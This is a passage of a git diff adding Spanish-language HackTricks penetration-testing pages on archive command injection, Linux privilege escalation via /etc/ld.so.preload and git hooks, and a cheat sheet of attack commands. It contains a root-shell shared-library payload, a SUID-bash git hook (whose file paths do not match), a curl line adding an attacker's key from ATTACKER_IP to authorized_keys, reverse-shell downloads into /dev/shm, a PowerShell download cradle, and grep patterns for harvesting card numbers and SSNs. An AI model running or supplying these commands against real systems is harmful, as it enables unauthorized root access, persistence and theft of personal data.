||||
```
|
||||
Entonces, cuando se ejecuta **7z**, tratará `root.txt` como un archivo que contiene la lista de archivos que debe comprimir (eso es lo que indica la existencia de `@root.txt`) y cuando 7z lea `root.txt`, leerá `/file/you/want/to/read` y **como el contenido de este archivo no es una lista de archivos, arrojará un error** mostrando el contenido.
|
||||
|
||||
_Más información en los Write-ups de la máquina CTF de HackTheBox._
|
||||
|
||||
## Zip
|
||||
|
||||
**Ejecutar comandos arbitrarios:**
|
||||
```bash
|
||||
zip name.zip files -T --unzip-command "sh -c whoami"
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
58
linux-hardening/privilege-escalation/write-to-root.md
Normal file
58
linux-hardening/privilege-escalation/write-to-root.md
Normal file
|
@ -0,0 +1,58 @@
|
|||
# Escritura arbitraria de archivos en root
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
### /etc/ld.so.preload
|
||||
|
||||
Este archivo se comporta como la variable de entorno **`LD_PRELOAD`** pero también funciona en **binarios SUID**.\
|
||||
Si puedes crearlo o modificarlo, simplemente puedes agregar una **ruta a una biblioteca que se cargará** con cada binario ejecutado.
|
||||
|
||||
Por ejemplo: `echo "/tmp/pe.so" > /etc/ld.so.preload`
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init() {
|
||||
unlink("/etc/ld.so.preload");
|
||||
setgid(0);
|
||||
setuid(0);
|
||||
system("/bin/bash");
|
||||
}
|
||||
//cd /tmp
|
||||
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
### Ganchos de Git
|
||||
|
||||
Los **ganchos de Git** son **scripts** que se **ejecutan** en varios **eventos** en un repositorio de Git, como cuando se crea un commit, una fusión... Por lo tanto, si un **script o usuario privilegiado** está realizando estas acciones con frecuencia y es posible **escribir en la carpeta `.git`**, esto se puede utilizar para **escalar privilegios**.
|
||||
|
||||
Por ejemplo, es posible **generar un script** en un repositorio de Git en **`.git/hooks`** para que siempre se ejecute cuando se crea un nuevo commit:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
|
||||
chmod +x pre-commit
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
422
linux-hardening/useful-linux-commands/README.md
Normal file
422
linux-hardening/useful-linux-commands/README.md
Normal file
|
@ -0,0 +1,422 @@
|
|||
# Comandos útiles de Linux
|
||||
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas de la comunidad **más avanzadas del mundo**.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Bash común
|
||||
```bash
|
||||
#Exfiltration using Base64
|
||||
base64 -w 0 file
|
||||
|
||||
#Get HexDump without new lines
|
||||
xxd -p boot12.bin | tr -d '\n'
|
||||
|
||||
#Add public key to authorized keys
|
||||
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
||||
|
||||
#Echo without new line and Hex
|
||||
echo -n -e
|
||||
|
||||
#Count
|
||||
wc -l <file> #Lines
|
||||
wc -c #Chars
|
||||
|
||||
#Sort
|
||||
sort -nr #Sort by number and then reverse
|
||||
cat file | sort | uniq #Sort and delete duplicates
|
||||
|
||||
#Replace in file
|
||||
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
||||
|
||||
#Download in RAM
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||||
|
||||
#Files used by network processes
|
||||
lsof #Open files belonging to any process
|
||||
lsof -p 3 #Open files used by the process
|
||||
lsof -i #Files used by networks processes
|
||||
lsof -i 4 #Files used by network IPv4 processes
|
||||
lsof -i 6 #Files used by network IPv6 processes
|
||||
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
||||
lsof +D /lib #Processes using files inside the indicated dir
|
||||
lsof -i :80 #Files uses by networks processes
|
||||
fuser -nv tcp 80
|
||||
|
||||
#Decompress
|
||||
tar -xvzf /path/to/yourfile.tgz
|
||||
tar -xvjf /path/to/yourfile.tbz
|
||||
bzip2 -d /path/to/yourfile.bz2
|
||||
tar jxf file.tar.bz2
|
||||
gunzip /path/to/yourfile.gz
|
||||
unzip file.zip
|
||||
7z -x file.7z
|
||||
sudo apt-get install xz-utils; unxz file.xz
|
||||
|
||||
#Add new user
|
||||
useradd -p 'openssl passwd -1 <Password>' hacker
|
||||
|
||||
#Clipboard
|
||||
xclip -sel c < cat file.txt
|
||||
|
||||
#HTTP servers
|
||||
python -m SimpleHTTPServer 80
|
||||
python3 -m http.server
|
||||
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
||||
php -S $ip:80
|
||||
|
||||
#Curl
|
||||
#json data
|
||||
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
||||
#Auth via JWT
|
||||
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
||||
|
||||
#Send Email
|
||||
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
||||
|
||||
#DD copy hex bin file without first X (28) bytes
|
||||
dd if=file.bin bs=28 skip=1 of=blob
|
||||
|
||||
#Mount .vhd files (virtual hard drive)
|
||||
sudo apt-get install libguestfs-tools
|
||||
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
||||
|
||||
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
||||
ssh-keyscan 10.10.10.101
|
||||
|
||||
# Openssl
|
||||
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
||||
openssl x509 -in ca.cert.pem -text #Read certificate
|
||||
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
||||
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
||||
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
||||
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
||||
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
||||
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
||||
# Decrypt ssh key
|
||||
openssl rsa -in key.ssh.enc -out key.ssh
|
||||
#Decrypt
|
||||
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
||||
|
||||
#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
||||
perf stat -x, -e instructions:u "ls"
|
||||
|
||||
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
||||
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
||||
|
||||
#Reconfigure timezone
|
||||
sudo dpkg-reconfigure tzdata
|
||||
|
||||
#Search from which package is a binary
|
||||
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
||||
|
||||
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
||||
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
||||
|
||||
#Set not removable bit
|
||||
sudo chattr +i file.txt
|
||||
sudo chattr -i file.txt #Remove the bit so you can delete it
|
||||
|
||||
# List files inside zip
|
||||
7z l file.zip
|
||||
```
|
||||
![](<../../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
Utilice [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\
|
||||
Obtenga acceso hoy mismo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Bash para Windows
|
||||
```bash
|
||||
#Base64 for Windows
|
||||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||||
|
||||
#Exe compression
|
||||
upx -9 nc.exe
|
||||
|
||||
#Exe2bat
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
|
||||
#Compile Windows python exploit to exe
|
||||
pip install pyinstaller
|
||||
wget -O exploit.py http://www.exploit-db.com/download/31853
|
||||
python pyinstaller.py --onefile exploit.py
|
||||
|
||||
#Compile for windows
|
||||
#sudo apt-get install gcc-mingw-w64-i686
|
||||
i686-mingw32msvc-gcc -o executable useradd.c
|
||||
```
|
||||
## Greps
|
||||
|
||||
## Descripción
|
||||
|
||||
`grep` es una herramienta de línea de comandos que se utiliza para buscar patrones en archivos de texto. Es una herramienta muy útil para buscar información específica en archivos grandes o para filtrar la salida de otros comandos.
|
||||
|
||||
## Sintaxis
|
||||
|
||||
```
|
||||
grep [opciones] [patrón] [archivo]
|
||||
```
|
||||
|
||||
## Opciones útiles
|
||||
|
||||
- `-i`: Ignora mayúsculas y minúsculas.
|
||||
- `-v`: Invierte la búsqueda, mostrando las líneas que no coinciden con el patrón.
|
||||
- `-r`: Busca recursivamente en un directorio y sus subdirectorios.
|
||||
- `-n`: Muestra el número de línea de cada coincidencia.
|
||||
- `-E`: Permite utilizar expresiones regulares extendidas.
|
||||
- `-w`: Busca solo palabras completas que coincidan con el patrón.
|
||||
|
||||
## Ejemplos
|
||||
|
||||
- Buscar todas las líneas que contengan la palabra "error" en un archivo:
|
||||
|
||||
```
|
||||
grep error archivo.txt
|
||||
```
|
||||
|
||||
- Buscar todas las líneas que contengan la palabra "error" en un archivo, ignorando mayúsculas y minúsculas:
|
||||
|
||||
```
|
||||
grep -i error archivo.txt
|
||||
```
|
||||
|
||||
- Buscar todas las líneas que no contengan la palabra "error" en un archivo:
|
||||
|
||||
```
|
||||
grep -v error archivo.txt
|
||||
```
|
||||
|
||||
- Buscar todas las líneas que contengan la palabra "error" en todos los archivos de un directorio y sus subdirectorios:
|
||||
|
||||
```
|
||||
grep -r error directorio/
|
||||
```
|
||||
|
||||
- Buscar todas las líneas que contengan la palabra "error" en un archivo, mostrando el número de línea de cada coincidencia:
|
||||
|
||||
```
|
||||
grep -n error archivo.txt
|
||||
```
|
||||
|
||||
- Buscar todas las líneas que contengan la palabra "error" en un archivo, utilizando una expresión regular extendida:
|
||||
|
||||
```
|
||||
grep -E 'err(or|oneous)' archivo.txt
|
||||
```
|
||||
|
||||
- Buscar todas las líneas que contengan la palabra "error" como una palabra completa en un archivo:
|
||||
|
||||
```
|
||||
grep -w error archivo.txt
|
||||
```
|
||||
```bash
|
||||
#Extract emails from file
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||||
|
||||
#Extract valid IP addresses
|
||||
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
||||
|
||||
#Extract passwords
|
||||
grep -i "pwd\|passw" file.txt
|
||||
|
||||
#Extract users
|
||||
grep -i "user\|invalid\|authentication\|login" file.txt
|
||||
|
||||
# Extract hashes
|
||||
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
||||
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
||||
#Extract valid MySQL-Old hashes
|
||||
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
||||
#Extract blowfish hashes
|
||||
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
||||
#Extract Joomla hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
||||
#Extract VBulletin hashes
|
||||
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
||||
#Extraxt phpBB3-MD5
|
||||
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
||||
#Extract Wordpress-MD5
|
||||
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
||||
#Extract Drupal 7
|
||||
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
||||
#Extract old Unix-md5
|
||||
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
||||
#Extract md5-apr1
|
||||
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
||||
#Extract sha512crypt, SHA512(Unix)
|
||||
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
||||
|
||||
#Extract e-mails from text files
|
||||
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
||||
|
||||
#Extract HTTP URLs from text files
|
||||
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
||||
#For extracting HTTPS, FTP and other URL format use
|
||||
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
||||
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
||||
|
||||
#Extract Floating point numbers
|
||||
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
||||
|
||||
# Extract credit card data
|
||||
#Visa
|
||||
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
||||
#MasterCard
|
||||
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
||||
#American Express
|
||||
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
||||
#Diners Club
|
||||
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
||||
#Discover
|
||||
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
||||
#JCB
|
||||
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
||||
#AMEX
|
||||
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
||||
|
||||
# Extract IDs
|
||||
#Extract Social Security Number (SSN)
|
||||
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
||||
#Extract Indiana Driver License Number
|
||||
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
||||
#Extract US Passport Cards
|
||||
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
||||
#Extract US Passport Number
|
||||
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
||||
#Extract US Phone Numberss
|
||||
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||||
#Extract ISBN Numbers
|
||||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||||
```
|
||||
## Ayuda para búsqueda en Nmap
|
||||
```bash
|
||||
#Nmap scripts ((default or version) and smb))
|
||||
nmap --script-help "(default or version) and *smb*"
|
||||
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||||
nmap --script-help "(default or version) and smb)"
|
||||
```
|
||||
## Bash
|
||||
|
||||
Bash es una shell de Unix que se utiliza comúnmente en sistemas operativos basados en Linux. Es una herramienta poderosa para la administración del sistema y la automatización de tareas. Aquí hay algunos comandos útiles de Bash que pueden ser útiles para la seguridad y el endurecimiento del sistema.
|
||||
|
||||
### Comandos de búsqueda
|
||||
|
||||
- `find / -perm -4000`: Busca todos los archivos con permisos de SUID.
|
||||
- `find / -perm -2000`: Busca todos los archivos con permisos de SGID.
|
||||
- `find / -perm -6000`: Busca todos los archivos con permisos de SUID y SGID.
|
||||
- `find / -user root -perm -4000 -print`: Busca todos los archivos propiedad del usuario root con permisos de SUID.
|
||||
- `find / -user root -perm -4000 -exec ls -ldb {} \;`: Busca todos los archivos propiedad del usuario root con permisos de SUID y muestra información detallada sobre ellos.
|
||||
- `find / -name filename`: Busca todos los archivos con el nombre "filename" en el sistema de archivos.
|
||||
- `grep -r "string" /path/to/search`: Busca todas las ocurrencias de "string" en los archivos dentro del directorio `/path/to/search`.
|
||||
|
||||
### Comandos de red
|
||||
|
||||
- `netstat -tulnp`: Muestra todas las conexiones de red activas y los programas que las están utilizando.
|
||||
- `lsof -i`: Muestra todos los archivos abiertos que están utilizando conexiones de red.
|
||||
- `tcpdump`: Captura y muestra el tráfico de red en tiempo real.
|
||||
- `nmap -sV -p 1-65535 -T4 target`: Escanea los puertos de la máquina objetivo y muestra información detallada sobre los servicios que se están ejecutando en ellos.
|
||||
|
||||
### Comandos de usuario y permisos
|
||||
|
||||
- `id`: Muestra el ID de usuario actual y los grupos a los que pertenece.
|
||||
- `who`: Muestra información sobre los usuarios que están conectados actualmente al sistema.
|
||||
- `w`: Muestra información detallada sobre los usuarios que están conectados actualmente al sistema.
|
||||
- `last`: Muestra información sobre los usuarios que han iniciado sesión en el sistema.
|
||||
- `chmod`: Cambia los permisos de un archivo o directorio.
|
||||
- `chown`: Cambia el propietario de un archivo o directorio.
|
||||
- `passwd`: Cambia la contraseña de un usuario.
|
||||
|
||||
### Comandos de archivo y directorio
|
||||
|
||||
- `ls -la`: Muestra todos los archivos y directorios en el directorio actual, incluyendo los archivos ocultos y la información detallada sobre los permisos y propietarios.
|
||||
- `du -h`: Muestra el tamaño de los archivos y directorios en el sistema de archivos.
|
||||
- `df -h`: Muestra el espacio libre y utilizado en los sistemas de archivos montados.
|
||||
- `tar -cvzf archive.tar.gz /path/to/archive`: Crea un archivo comprimido de un directorio o archivo.
|
||||
- `tar -xvzf archive.tar.gz`: Extrae un archivo comprimido en el directorio actual.
|
||||
```bash
|
||||
#All bytes inside a file (except 0x20 and 0x00)
|
||||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||||
```
|
||||
## Iptables
|
||||
|
||||
Iptables es un firewall de red que permite a los administradores de sistemas controlar el tráfico de red entrante y saliente en un servidor Linux. Iptables utiliza reglas para determinar qué paquetes permitir y cuáles bloquear. Las reglas se pueden configurar para aplicarse a un puerto específico, una dirección IP o un rango de direcciones IP.
|
||||
|
||||
### Comandos útiles
|
||||
|
||||
- `iptables -L`: muestra todas las reglas de iptables actuales.
|
||||
- `iptables -F`: elimina todas las reglas de iptables actuales.
|
||||
- `iptables -A INPUT -p tcp --dport 22 -j ACCEPT`: permite el tráfico entrante en el puerto 22 (SSH).
|
||||
- `iptables -A INPUT -p tcp --dport 80 -j ACCEPT`: permite el tráfico entrante en el puerto 80 (HTTP).
|
||||
- `iptables -A INPUT -p tcp --dport 443 -j ACCEPT`: permite el tráfico entrante en el puerto 443 (HTTPS).
|
||||
- `iptables -A INPUT -j DROP`: bloquea todo el tráfico entrante que no cumpla con las reglas anteriores.
|
||||
- `iptables-save > /etc/sysconfig/iptables`: guarda las reglas de iptables en un archivo para que se carguen automáticamente en el arranque del sistema.
|
||||
```bash
|
||||
#Delete curent rules and chains
|
||||
iptables --flush
|
||||
iptables --delete-chain
|
||||
|
||||
#allow loopback
|
||||
iptables -A INPUT -i lo -j ACCEPT
|
||||
iptables -A OUTPUT -o lo -j ACCEPT
|
||||
|
||||
#drop ICMP
|
||||
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
||||
iptables -A OUTPUT -p icmp -j DROP
|
||||
|
||||
#allow established connections
|
||||
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||||
|
||||
#allow ssh, http, https, dns
|
||||
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||||
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
||||
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
||||
|
||||
#default policies
|
||||
iptables -P INPUT DROP
|
||||
iptables -P FORWARD ACCEPT
|
||||
iptables -P OUTPUT ACCEPT
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
